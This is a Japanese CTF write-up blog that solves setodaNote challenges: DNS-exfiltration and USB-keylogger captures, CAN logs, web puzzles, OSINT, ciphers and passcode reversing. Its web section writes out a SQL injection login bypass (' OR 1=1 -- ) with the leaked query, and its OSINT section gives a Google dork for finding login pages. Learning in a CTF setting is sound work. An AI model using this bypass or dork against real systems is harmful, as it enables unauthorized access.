パスワード(Yatagarasu-Takama-Kamuyamato2)が書かれた別のメールを探して、ZIP を解凍するとフラグが書かれたテキストファイルが得られます。

もっといい方法があるかもしれません。あと、会話のいくつかは TLS で暗号化されてましたが、読めませんでした。

flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)} でした。

150ポイント獲得して、計2860ポイントで、690名中、84位になりました!

yes_you_can(追記:2024/9/18)

ダウンロードしたファイルを解凍すると、「dump.log」というファイルが得られます。

Networkのyes_you_can問題
Networkのyes_you_can問題

中身は、CAN通信の内容のようです。

非力な PC のせいか、サクラエディタで開けないです。仕方ないので、ターミナルでなんとかします。

全部の行が CAN通信のようです。

$ cat dump.log | wc -l
94667

$ cat dump.log | grep vcan0 | wc -l
94667

あ、Wireshark で開けるかも → 開けました。しかし、あまり使い勝手がいい感じでもありません。Python 書きます。

まず、CANID ごとに、辞書で分類します。データの長さで特徴あるかな?と思いましたが、CANID ごとにデータ長は同じでした。

困ったので、データの量が少ない順に、2つほど見てみましたが、特に何もありませんでした。flag の f(0x66)を含むデータを見てみました。2つの CANID が 0x66 を含んでいたので、全表示してみると、CANID=244 の方が特徴的なデータでした。あとは、1文字ずつ拾ったらフラグ獲得できました。

import os, sys

def fread_line( fpath ):
    
    lst = []
    with open(fpath) as ff:
        for line in ff:
            lst.append( line )
    
    return lst

if __name__ == '__main__':
    
    print( f"sys.argv[0]={sys.argv[0]}, sys.argv[1]={sys.argv[1]}" )
    
    fpath = sys.argv[1]
    
    lst = fread_line( fpath )
    
    dic = {}
    for ii, line in enumerate(lst):
        
        can = line.split()[2]
        
        canid, data = can.split('#')
        dlc = len( data )
        
        if ii == 0: print( f"canid={canid}, dlc={dlc}, data={data}" )
        
        if canid not in dic:
            dic[canid] = {}
        
        if dlc not in dic[canid]:
            dic[canid][dlc] = []
        
        dic[canid][dlc].append( data )
        
        if "66" in data:
            print( f"{ii}: canid={canid}, data={data}, len(dic[canid][dlc])={len(dic[canid][dlc])}" )
    
    for canid in dic:
        
        for dlc in dic[canid]:
            
            print( f"canid={canid}, dlc={dlc}, len(dic[{canid}][{dlc}])={len(dic[canid][dlc])}" )
            
            #if canid == "188" or canid == "5A1":
            if canid == "1B0" or canid == "244":
                
                for data in dic[canid][dlc]:
                    print( f"{canid}: {data}" )

flag{can_bus_hacking} でした。

150ポイント獲得して、計3010イントで、690名中、80位になりました!

Digdig(追記:2024/10/4)

ダウンロードしたファイルを解凍すると、「digdig.pcap」というファイルが得られます。

NetworkのDigdig問題
NetworkのDigdig問題

Wireshark で開きます。開いてみると、86パケットだけで、全て DNS のアクセスです。

ざっと眺めてみても、特定のパケットだけ大きかったりとかもなく、淡々と同じような問い合わせが続いてます。仕方ないので、もう少し詳しく見ていきます。

DNS のプロトコルで見ていきます。まずは、DNSヘッダです。

  • ID(16bit) → 5から始まるインクリメント
  • QDCOUNT:Questionセクション数は 1
  • ANCOUNT:Answerセクション数は 0
  • NSCOUNT:Authorityセクション数は 1
  • ARCOUNT:Additionalセクション数は 0

Questionセクションを見てみると、Name のところが、毎回少しずつ異なっています。こういうのが怪しいですね。f(0x66)l(0x6C)a(0x61)g(0x67)に注意して見てみます。うーん、いますね(笑)。ただ、どうやって抽出するのかを考える必要があります。

Python が必要な気がするので、Scapy を使って、Name の部分を抽出します。

パケットの並びとしては、タイプが IPv4 の問い合わせと応答、タイプが IPv6 の問い合わせと応答という 4パケットで 1セットのようになっています。

条件を設定して、4パケットのうち、1つだけを表示するようにしています。

>>> for pp in pkt:
...:     if pp['DNS'].qr==0 and pp['DNSQR'].qtype==1: print(pp['DNSQR'].qname)
b'dns.google.'
b'00500000LFI2358AA31.setodanote.net.'
b'00500000LFI2358AA32.setodanote.net.'
b'00500000LFI2358AA33.setodanote.net.'
b'005aa002735f69735f44414d.setodanote.net.'
b'005aa00663655f7472795f53.setodanote.net.'
b'005aa0034d595f464c41477d.setodanote.net.'
b'005aa0085f746861747d2066.setodanote.net.'
b'005aa00a6c61677b444e535f.setodanote.net.'
b'005aa00b5333637572313779.setodanote.net.'
b'005aa0076f7272795f666f72.setodanote.net.'
b'005aa00420666c6167206973.setodanote.net.'
b'005aa0096c61672069732066.setodanote.net.'
b'005aa00c5f5431303731217d.setodanote.net.'
b'005aa011797d323232323232.setodanote.net.'
b'005aa00d20666c6167206973.setodanote.net.'
b'005aa00f335f6b33795f3135.setodanote.net.'
b'005aa00e20666c61677b3768.setodanote.net.'
b'005aa001666c61677b546869.setodanote.net.'
b'005aa0105f35336375723137.setodanote.net.'
b'005aa000666c616720697320.setodanote.net.'
b'005aa00520666c61677b4e69.setodanote.net.'

9文字目からドットまでが有効なアスキーコードっぽいので、そこだけバイナリエディタに貼り付けてみました。うーん、惜しい感じです。

バイナリエディタに貼り付けてみた
バイナリエディタに貼り付けてみた

7文字目、8文字目の数字が気になります。これが順番(インデックス)を示しているのでは?と思ったので、もう一度順番に注意して貼り付けてみます。

バイナリエディタに貼り付けてみた2
バイナリエディタに貼り付けてみた2

テキストだけを取り出すと以下になります。うーん、4つの候補があります。全部提出してみればいいですが、もう少し絞り込んでみます。1つ目は明らかに違いますし、2番目も違うかな、3番目と 4番目はどちらでしょうか。

3番目は、「DNS Security ?????」で、4番目は「The key is security」でしょうか。

flag is flag{This_is_DAMMY_FLAG} flag is flag{Nice_try_Sorry_for_that} flag is flag{DNS_S3cur17y_T1071!} flag is flag{7h3_k3y_15_53cur17y}222222

分からないので、4番目、3番目の順に提出してみると、3番目が正解でした。

flag{DNS_S3cur17y_T1071!} でした。

200ポイント獲得して、計3510イントで、706名中、59位になりました!

Logger(追記:2024/10/4)

ダウンロードしたファイルを解凍すると、「logger.pcap」というファイルが得られます。

NetworkのLogger問題
NetworkのLogger問題

Wireshark で開きます。開いてみると、USB のログ?のようです。1100パケットあります。

ざっと眺めると、バルク転送で、デバイス→ホスト、ホスト→デバイスの順に、交互に通信してるようです。デバイス→ホストの方にだけ末尾にデータが付いています。そのデータはほとんどゼロですが、たまに値が入ったりしてます。これを抽出して眺める感じでしょうか。

まずは、Scapy で読み取ってみましたが、プロトコルの解釈はされませんでしたが、パケットとしては 1100個と認識してくれたので、あとは、バイナリとして扱う感じにしようと思います。

Pythonスクリプトを作ってみました。分かったことは、8byteの ID が2種類あり、1種類目がデバイス→ホスト、ホスト→デバイスの通信を行い、その後、2種類目の ID で、デバイス→ホスト、ホスト→デバイスの通信が行われるというのが繰り返されています(1100 / 4 = 275回)。

そして、ホスト→デバイスの応答?は、ID以外は、常に同じデータが返ってきています(ID は、直前のデバイス→ホストの通信の ID と同じ)。つまり、ホスト→デバイスの内容は見なくていいということになります。

デバイス→ホストのデータについては、ID については2種類が交互ですが、それ以外は、末尾の 8byte 以外は常に同じです。末尾の 8byte 以外は見なくていいということになります。

うーん、分かりません、ギブアップです。writeupを探して見てみます。USB のキーボードのコードらしいです。それは時間かけても思いつきませんでした。logger というタイトルもキーロガーを意味してたんですね、なるほどです。あと、過去に同じような問題が出ていたそうです。1回は経験しないと厳しいですね。

以下の書籍に類似の問題が出ているそうです。今度読んでみて、その後、続きをやろうと思います。

[asin:B074888F88:detail]

tkys_not_enough(追記:2024/10/15)

ダウンロードしたファイルを解凍すると、pcapファイル(tkys_not_enough.pcap)が得られます。

Networkのtkys_not_enough問題
Networkのtkys_not_enough問題

Wireshark で開いてみます。うーん、開けません。fileコマンドを実行します。pcapファイルではなく、Windows のログファイル(etlファイル)のようです。

$ file tkys_not_enough.pcap
tkys_not_enough.pcap: Windows Event Trace Log "C:\Users\setodaNoteCTF\nicetry\Temp\NetTraces\NetTrace.etl"

あまり、分かっていませんが、Windows のイベントビューアで開いてみます。すると、途中に「NDIS-PacketCapture」というログがあります。

試しに、先頭の 54byte のデータを確認してみます。IPv4 のパケットのようです。なるほど、イベントビューアのログから、パケットを抽出して、解析する感じでしょうか。

000C2941C0C8
000C2966FBB5
0800
45000028
B0FF4000
80060000(TCP)
C0A8E069(192.168.224.105)
C0A8E078(192.168.224.120)
DBD5
01F4
6229056AB6ECD1BD50102012424E0000

ETLファイルをテキストファイルに変換する方法があるようなので、やってみます。PowerShell を開いて、以下のコマンドを実行します。

うーん、ダメでした。ログ自体はテキストに出力されましたが、データが出力されていません。

netsh trace convert input=tkys_not_enough.etl output=a.txt

ETLファイルを、Microsoft Message Analyzer というツールで開くと、pcapファイルにエクスポート出来るようです。調べてみると、Microsoft Message Analyzer は既に廃止されたようです。さらに調べてみると、Microsoft からではないですが、ダウンロードできるサイトがありました。ちょっと怖いです(笑)。なんとかインストールを完了しました。

では、ETLファイルを開いてみます。だいぶ時間がかかります。なんか、エラーが出ながらも開けたようです。Save as で、Exportメニューがありました。capファイルを出力できました。Wireshark で開いてみます。開けました!だいぶ苦労したので、フラグはすぐに見つかってほしいところです。

うーん、いくつかの HTTP の GET があり、最後の 2回の HTTPレスポンスのボディに、少しのバイナリが入っていました。怪しいですが、すぐには分からないデータです。

先頭が 1F 8B 08 でした。調べてみると、gzip らしいです。バイナリを保存して、fileコマンドを実行してみます。

$ file tkys_not_enough_50688.bin.gz
tkys_not_enough_50688.bin.gz: gzip compressed data, from Unix, original size modulo 2^32 121

$ file tkys_not_enough_56277.bin.gz
tkys_not_enough_56277.bin.gz: gzip compressed data, from Unix, original size modulo 2^32 71

解凍したところ、50688 の方にフラグが入っていました。

flag{netw0rk_shell_2000} でした。

250ポイント獲得して、計4180ポイントで、710名中、43位になりました!

Web

次のカテゴリは、Web です。

Body

とりあえず、指示されたリンクをクリックします。

WebのBody問題
WebのBody問題

まずは、ソースを見ます。flag で検索します。解けました(笑)。

flag{Section_9} でした。

30ポイント獲得して、計370ポイントで、690名中、388位になりました!

次もリンクがあります。

WebのHeader問題
WebのHeader問題

ソースを見ます。flag で検索します。「ここにはフラグはありません」がヒットしました(笑)。

では、head を見てみます。「頭と言ってもここのことではないのです。 Nice try!」と書かれてました(笑)。

Header ですか、うーん、curl で GET してみます。いた(笑)。

flag{Just_a_whisper} でした。

50ポイント獲得して、計420ポイントで、690名中、373位になりました!

puni_puni

次は、よく分からない文字列が並んでいます。

Webのpuni_puni問題
Webのpuni_puni問題

とりあえず、各行に共通の xn-- で検索してみます。プニコードって本当にあるんですね(笑)。変換サイトがあったので、変換してみます。

下の2行は変換できませんでしたが、上の3行だけで解けそうです。

正規化後 :   フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
正規化後    :   シー、オー、ディー、イー、よん、よん、です.
正規化後    :   カタカナ表記は半角英小文字に、

33punycode44

flag{33punycode44} でした。

80ポイント獲得して、計500ポイントで、690名中、348位になりました!

Mistake(追記:2024/10/19)

Webページにアクセスして、フラグを探す問題です。

WebのMistake問題
WebのMistake問題

そろそろ、Burp Suite が必要な気します。

レスポンスヘッダを見ると、HTTP 2 が使われているようです。ヘッダに、report-to という見慣れない内容が入っています。このあたりが怪しいかな、と思います。ちょっと時間かかりそうなので、後回しにします。やはり、100ポイントからは難しいですね。

時間が空いてしまって、何の問題だったか忘れ気味です。もう一度ソースから見直します。途中の フラグ形式の説明のところで、特に指定がない限りフラグは flag{<!-- Webserver directory index? -->} という形式をとります。 って書いています。怪しすぎますが、最初に見たときは見逃していたようです。インデックスページのことを言ってるのでしょうか。

デベロッパーツールでディレクトリ構成を見ながら、各フォルダのトップページを見ていきます。https://ctfweb.setodanote.net/web003/images/ のところで、インデックスページが見れました。そこに、pic_flag_is_here.txt というファイルがあります。アクセスしてみるとフラグがありました。

flag{You_are_the_Laughing_Man,_aren't_you?} でした。

100ポイント獲得して、計4280ポイントで、718名中、44位になりました!

時間がたってしまってるせいか、100ポイント取ったのに、順位が下がりました(笑)。

tkys_royale(追記:2024/10/19)

Webページにアクセスして、フラグを探す問題です。

tkys_royale問題
tkys_royale問題

指定されたページにアクセスしてみると、ログインページで、ユーザ名とパスワードを入力する画面になりました。とりあえず、適当に入力してみます。普通に弾かれました。

では、SQLインジェクションをやってみます。' OR 1=1 -- を入れてみます。すると、以下のように表示されました。これは、エスケープしてないのではないでしょうか。というか、SQLクエリまで表示されています。あと、MySQL らしいです。

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and password=''' at line 1

Query: SELECT * From basic_accounts where username='' OR 1=1 --' and password=''

MySQL の本を見てたら、間違えてました。コメントの -- の後には半角スペースがいるようです。' OR 1=1 -- を入力したら、フラグが表示されました。

flag{SQLi_with_b1rds_in_a_b34utiful_landscape} でした。

120ポイント獲得して、計4400ポイントで、718名中、44位になりました!

Estimated(追記:2024/10/19)

Webページにアクセスして、フラグを探す問題です。

Estimated問題
Estimated問題

アクセスしてみると、ブログのようです。ざっと見てみると、6月3日に、お詫びのページがあります。昨日の記事に公開すべきではない情報が含まれていたとのことです。6月2日の記事は見当たりません。怪しいです。https://ctfweb.setodanote.net/web006/20210602.html にアクセスしてみると 404 です。お詫びのページのソースを見ると、images/20210603001b.jpg というファイルがコメントアウトされています。怪しいです。でも、何もありませんでした。昨日の日付の画像ファイルを探します。https://ctfweb.setodanote.net/web006/images/20210602001.jpg がありました。20210602001s.jpg20210602001b.jpg もありました。なんの写真でしょうか、よく見ると、ノートPC に写ってるフォームにフラグがありました。

flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos} でした。

120ポイント獲得して、計4520ポイントで、718名中、41位になりました!

Mx.Flag(追記:2024/10/19)

Webページにアクセスして、フラグを探す問題です。

Mx.Flag問題
Mx.Flag問題

アクセスしてみると、シンプルなページです。特に何もないように見えます。一通り見ましたが、何も見つかりませんでした。

BurpSuite で見ていきます。favicon.png の HTTPレスポンスにフラグがありました。

flag{Mr_Flag_hiding_in_the_favicon} でした。

150ポイント獲得して、計4670ポイントで、718名中、41位になりました!

Redirect(追記:2024/10/19)

Webページにアクセスして、フラグを探す問題です。

Redirect問題
Redirect問題

会長のブログだそうです。一通り見てみましたが、特に何もありません。ソースを見てみます。末尾に、変なスクリプトがあります。

前にいたページが Google のページだった場合にリダイレクトされるようです。atob は Base64 でエンコードされていて、デコードします。飛び先は「./bWFsa2l0.html」のようです。

<script>!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('Li9iV0ZzYTJsMC5odG1s');}}();</script>
    </body>
</html>

では、Google のページに行って、そこから、このページに行ってみます。うーん、うまくリダイレクトされません。直接見に行きます。Nice Try とだけ書かれたページでした。

BurpSuiteで、ログを見ると、たくさんリダイレクトされていました。そのログを 1つずつ見ていきます。すると、最後の 1個手前で判断があり、うまくいくと別のページに飛べる感じになっています。

https://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200 を与えてやればフラグのページに行けそうです。

flag{Analyz1ng_Bad_Red1rects} でした。

150ポイント獲得して、計4820ポイントで、718名中、40位になりました!

OSINT

次のカテゴリは、OSINT です。OSINT は初めてです。Ruels を見ると、「与えられた断片的な情報に基づき、公開情報を探して組み合わせることでフラグを得る設問」とあります。

tkys_with_love

30ポイントの問題で、OSINTカテゴリの雰囲気をつかみたいところです。

OSINTのtkys_with_love問題
OSINTのtkys_with_love問題

ググって情報を探すってことですかね。早速 C6DF6 を検索します。豪華客船?がヒットしました。

Symphony of the Seas を、英小文字、スペースをアンダースコアに変えると、symphony_of_the_seas になります。

flag{symphony_of_the_seas} でした。

30ポイント獲得して、計530ポイントで、690名中、338位になりました!

Dorks

Google の検索方法に関する問題です。

OSINTのDorks問題
OSINTのDorks問題

login.php を含むページを検索する方法を答える問題です。ダブルクォーテーションかなと思いましたが、違うようですね。inurl というのがあるようです。

flag{inurl:login.php} でした。

50ポイント獲得して、計580ポイントで、690名中、318位になりました!

filters_op

Twitter(X)の問題です。

OSINTのfilters_op問題
OSINTのfilters_op問題

cas_nisc 2017年5月15日 でググると一発でした。

flag{#WannaCrypt}

50ポイント獲得して、計630ポイントで、690名中、305位になりました!

MAC

MACアドレスに関する問題です。

OSINTのMAC問題
OSINTのMAC問題

ベンダー名を繋げれば良さそうです。なるほど、頭文字を繋げればいいようです。

00:03:93:Apple, Inc.
00:01:A9:BMW AG
04:2A:E2:Cisco Systems, Inc

それぞれ調べてみます。

2C:C2:60:Oracle Corporation
FC:EC:DA:Ubiquiti Inc
00:02:B3:Intel Corporation
AC:44:F2:YAMAHA CORPORATION
FC:4E:A4: Apple, Inc.

flag{O_U_I_Y_A} でした。

50ポイント獲得して、計680ポイントで、690名中、291位になりました!

tkys_eys_only

ダウンロードした画像を開くと、緯度経度があるようです。GoogleMap で検索します。

OSINTのtkys_eys_only問題
OSINTのtkys_eys_only問題

United Nations Headquarters(国連本部)でした。

flag{United_Nations_Headquarters} と思ったら間違えました。flag{United_Nations} でした。

50ポイント獲得して、計730ポイントで、690名中、280位になりました!

MITRE(追記:2024/10/26)

謎の文字列が書かれています。

MITRE問題
MITRE問題

MITRE で検索してみると、米国の非営利団体で、特に、MITRE ATT&CK(アタック)は「Adversarial Tactics, Techniques and Common Knowledge(敵対的戦術、技法、共有知識)」の略で、ネットワークへのサイバー攻撃で一般的に使用される戦術、技法、手順(TTP)を体系化した文書らしいです。

OSINT ですし、ここを調べる必要がありそうです。その前に、与えられた内容について深く理解しておきます。

T と数字 4桁で、1文字を表現しているのでしょうか。T は置いといて、数値を Python で分析していきます。今のところ、よく分からない感じですね。

T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1221T1147T1220}

>>> lst = [1495, 1152, 1155, 1144, 1130, 1518, 1170, 1118, 1099, 1496, 1212, 1531, 1080, 1127, 1020, 1081, 1208, 1112, 1098, 1199, 1159, 1183, 1220, 1221, 1147, 1220]
>>> max(lst)
1531
>>> min(lst)
1020
>>> [hex(ii) for ii in lst]
['0x5d7', '0x480', '0x483', '0x478', '0x46a', '0x5ee', '0x492', '0x45e', '0x44b', '0x5d8', '0x4bc', '0x5fb', '0x438', '0x467', '0x3fc', '0x439', '0x4b8', '0x458', '0x44a', '0x4af', '0x487', '0x49f', '0x4c4', '0x4c5', '0x47b', '0x4c4']

では、MITRE について調べてみます。あ、攻撃手口が Txxxx という番号が付けられているようです。例えば、T1495 は、Firmware Corruption という名前が付いていて、T1152 は、うーん、割り当てられていない番号のようです。次に割り当たっていたのは、T1518 で、Software Discovery という名前でした。T1496 は Resource Hijacking、T1212 は Exploitation for Credential Access、T1531 は Account Access Removal、T1080 は Taint Shared Content、T1127 は Trusted Developer Utilities Proxy Execution、T1020 は Automated Exfiltration という感じです。

次はどうしたらいいんでしょうか。割り当たってない番号を Web検索してみると、一応、何らかは割り当たっているようです。頭文字を集めるとか?(笑)。あ、マジですか、そんなんでいいんですか。。。

FLAG IS flag{MITRE_ATTACK_MATLIX_THX} でした。

100ポイント獲得して、計5960ポイントで、733名中、26位になりました!

Ropeway(追記:2024/10/26)

ダウンロードしたファイルを開いてみます。

Ropeway問題
Ropeway問題

以下のような写真です。

ロープウェイ
ロープウェイ

Google の画像検索してみます。舘山寺ロープウェイでした。

flag{kanzanji} でした。

120ポイント獲得して、計6080ポイントで、733名中、26位になりました!

N-th_prime(追記:2024/10/26)

素数の問題です。

N-th_prime問題
N-th_prime問題

Python で実装します。実装しましたが、72057594037927936番目って、終わるんでしょうか。。10分実行して終わらなかったら、解き方が間違っていたとして諦めます。

def is_prime( num ):
    
    # 指定の数(num)が自分以外で割り切れる数が無ければ素数
    for ii in range( 2, num ): #num + 1 ):
        if num % ii == 0:
            return False
    
    return True

def prime( nth ):
    
    cnt = 0
    
    ii = 2
    while cnt < nth:
        if is_prime( ii ):
            cnt += 1
        ii += 1
    
    print( f"ii={ii-1}, cnt={cnt}" )

prime( 72057594037927936 )

20分たっても、終わりませんでした。大きい値の素数はネット上に転がってるでしょうから、そこから開始すれば早いですよね。検索して解くのってイマイチ面白くないですね。。

一応、高速化したものが載ってたので、実装しました。とりあえず、100万番目の素数がネットにあったので、答え合わせしようと 100万番目で実行しましたが、これも、10分しても終わりませんでした。

def is_prime_trial_division( num, primes ):
    
    for pp in primes:
        if num % pp == 0:
            return False
    
    primes.append( num )
    
    return True

def nth_prime_trial_division( nth ):
    
    cnt = 0
    primes = []
    
    ii = 2
    while cnt < nth:
        if is_prime_trial_division( ii, primes ):
            cnt += 1
        ii += 1
    
    print( f"ii={ii-1}, cnt={cnt}" )

nth_prime_trial_division( 1000000 )

自分で実装するという解き方が間違ってますね、Web検索してたら、setodaNote の writeup ばかり出てくるので、諦めました。2 のべき乗番目の素数のリストがあるそうです。

https://oeis.org/A033844/b033844.txt

200ポイント獲得して、計6280ポイントで、733名中、25位になりました!

自力で解けなくなったので、OSINT はここまでにします。

Crypto

次のカテゴリは、Crypto です。

base64

base64 の問題です。

Cryptoのbase64問題
Cryptoのbase64問題

とりあえず、デコードしてみます。

$ echo -n "ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==" | base64 -d
flag{It's_called_base64!}

50ポイント獲得して、計780ポイントで、690名中、274位になりました!

ROT13

ローテーション?でしょうか。

CryptoのROT13問題
CryptoのROT13問題

とりあえず、s をアスキーコードにして、flag の f との差を求めてみます。

$ python -c "print(ord('s')-ord('f'))"
13

なるほど、理解できました。

$ python -c "for cc in 'synt': print(chr(ord(cc)-13),end='')"
flag
$ python -c "for cc in 'Rira_lbh_Oehghf?': print(chr(ord(cc)-13), end='')"
E\eTR_U[RBX[Z[Y2

flag{E\eTR_U[RBX[Z[Y2} と思ったら、違いました。アンダースコアは残すのでしょうか。

flag{E\eT__U[_BX[Z[Y2} 違います。クエスチョンマークを残してもダメでした。

確かに、記号が入るのは何かおかしいですね。では、記号を抜いた範囲でローテーションしてみます。

flag{EVeN_YOU_BRUTUS?} 違いましたが、だいぶ惜しい気がします。何か決まった変換があるかもしれません。調べてみると、ROT13 は、変換方式として存在していました。引くと思ってましたが、足すようです。13文字なので同じですけど(笑)。

flag{Even_you_Brutus?} でした。

50ポイント獲得して、計830ポイントで、690名中、260位になりました!

pui_pui

バイナリ列の問題です。

Cryptoのpui_pui問題
Cryptoのpui_pui問題

とりあえず、デコードします。

b"\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a".decode("utf-8")
'A:Do you know Molcar?\n\nB:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.\n\nA:... What?\n\nB:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.\n'

A と B のやり取りになりました。

flag{Have_you_ever_heard_of_Hexdump?} でした。

80ポイント獲得して、計910ポイントで、690名中、245位になりました!

Crypto はここまでにします。

Rev

次のカテゴリは、Rev です。

HelloWorld

リバースエンジニアリングカテゴリの 1問目です。

RevのHelloWorld問題
RevのHelloWorld問題

なぜか、パスワード付き ZIP になっています。パスワードは「infected(感染)」で、解凍すると、Windows のプログラムが出てきました。ダブルクリックしたくないですね(笑)。

$ ./helloworld.exe
Nice try, please set some word when you run me.

$ ./helloworld.exe aaa
Good job, but please set 'flag' when you run me.

$ ./helloworld.exe flag
flag{free_fair_and_secure_cyberspace}

50ポイント獲得して、計960ポイントで、690名中、239位になりました!

ELF

今度は、ELF のようです。

RevのELF問題
RevのELF問題

ELF じゃないですね。じゃあ、バイナリエディタで開きます。あ、先頭の ELF のところがおかしいです。

$ file elf
elf: data

直すと、ちゃんと認識されました。

$ file elf
elf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4f0f6e7df2d02645bb6387a08a099ddecb22b6f1, for GNU/Linux 3.2.0, stripped

実行すると、flag{run_makiba} が得られました。

80ポイント獲得して、計1040ポイントで、690名中、220位になりました!

Rev はここまでにします。

Passcode(追記:2024/9/16)

ダウンロードして解凍すると、「passcode」というファイルが得られました。

RevのPasscode問題
RevのPasscode問題

調べていきます。strip されてます。

$ file passcode
passcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8be572b7a0563868ee29af143b2df0c7d6b1636d, for GNU/Linux 3.2.0, stripped

$ ./passcode
Enter the passcode: aaaaaaaa
Invalid passcode. Nice try.

$ strings passcode | grep flag
Flag is : flag{%s}

$ ../../../tools/checksec.sh-2.7.1/checksec --file=./passcode
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols  No       0          1            ./passcode

Ghidra で見てみます。

main関数の関係あるとこだけ貼ります。scanf関数の戻り値を -1 が返らないようにすると、フラグの方に分岐するようです。その後、8文字未満はダメ、9文字以上はダメ、8文字で 20150109 でフラグ獲得になるようです。

  printf("Enter the passcode: ");
  iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_108);
  if (iVar1 == -1) {
    uVar2 = 1;
  }
  else {
    __isoc99_scanf(&DAT_0010202c);
    if ((char)local_108 == '\0') {
      printf("Invalid passcode.");
    }
    else {
      sVar3 = strlen((char *)&local_108);
      if (sVar3 < 8) {
        printf("Invalid passcode. Too short.");
      }
      else {
        sVar3 = strlen((char *)&local_108);
        if (sVar3 < 9) {
          iVar1 = strcmp((char *)&local_108,"20150109");
          if (iVar1 == 0) {
            puts("The passcode has been verified.\n");
            printf("Flag is : flag{%s}",&local_108);
          }
          else {
            printf("Invalid passcode. Nice try.");
          }
        }
        else {
          printf("Invalid passcode. Too long.");
        }
      }
    }
    putchar(10);
    uVar2 = 0;

では、やってみます。

$ ./passcode
Enter the passcode: 20150109
The passcode has been verified.

Flag is : flag{20150109}

flag{20150109} でした。

120ポイント獲得して、計1640ポイントで、690名中、155位になりました!

Passcode2(追記:2024/9/16)

ダウンロードして解凍すると、「passcode2」というファイルが得られました。

RevのPasscode2問題
RevのPasscode2問題

調べていきます。strip されてます。先ほどの Passcode と似てますね。

$ file passcode2
passcode2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a396332a87a60f8e353e93a001a1a9521673f19d, for GNU/Linux 3.2.0, stripped

$ ./passcode2
Enter the passcode: aaaaaaaa
Invalid passcode. Too short.

$ strings passcode2 | grep flag
Flag is : flag{%s}

$ ../../../tools/checksec.sh-2.7.1/checksec --file=./passcode2
RELRO           STACK CANARY      NX            PIE          RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled  No RPATH  No RUNPATH  No Symbols  No       0          1            ./passcode2

Ghidra で見てみます。

main関数の関係あるとこだけ貼ります。先ほどと同じく、scanf関数の戻り値を -1 が返らないようにすると、フラグの方に分岐するようです。その後、11文字未満はダメ、12文字以上はダメ、11文字が必要なようです。

その後は、ちょっとややこしいですが、local_124[11] と 0x2a で xor して一致する値ならいいようです。

  printf("Enter the passcode: ");
  iVar1 = __isoc99_scanf("%255[^\n]%*[^\n]",&local_118);
  if (iVar1 == -1) {
    uVar2 = 1;
  }
  else {
    __isoc99_scanf(&DAT_0010202c);
    if ((char)local_118 == '\0') {
      printf("Invalid passcode.");
    }
    else {
      sVar3 = strlen((char *)&local_118);
      if (sVar3 < 0xb) {
        printf("Invalid passcode. Too short.");
      }
      else {
        sVar3 = strlen((char *)&local_118);
        if (sVar3 < 0xc) {
          sVar3 = strlen((char *)&local_118);
          if (sVar3 == 0xb) {
            local_10 = 0;
            while ((sVar3 = strlen((char *)local_124), local_10 < sVar3 &&
                   (*(byte *)((long)&local_118 + local_10) == (local_124[local_10] ^ 0x2a)))) {
              local_10 = local_10 + 1;
            }
            sVar3 = strlen((char *)local_124);
            if (local_10 == sVar3) {
              puts("The passcode has been verified.\n");
              printf("Flag is : flag{%s}",&local_118);
            }
            else {
              printf("Invalid passcode. Nice try.");
            }
          }
          else {
            printf("Invalid passcode.");
          }
        }
        else {
          printf("Invalid passcode. Too long.");
        }
      }
    }
    putchar(10);
    uVar2 = 0;
  }
  return uVar2;

11文字のパスコードを求めます。

$ python -c 'print([f"{chr(ii ^ 0x2a)}"  for ii in [0x18, 0x1f, 0x04, 0x79, 0x4f, 0x5a, 0x04, 0x18, 0x1a, 0x1b, 0x1e]])'
['2', '5', '.', 'S', 'e', 'p', '.', '2', '0', '1', '4']

やってみます。

$ ./passcode2
Enter the passcode: 25.Sep.2014
The passcode has been verified.

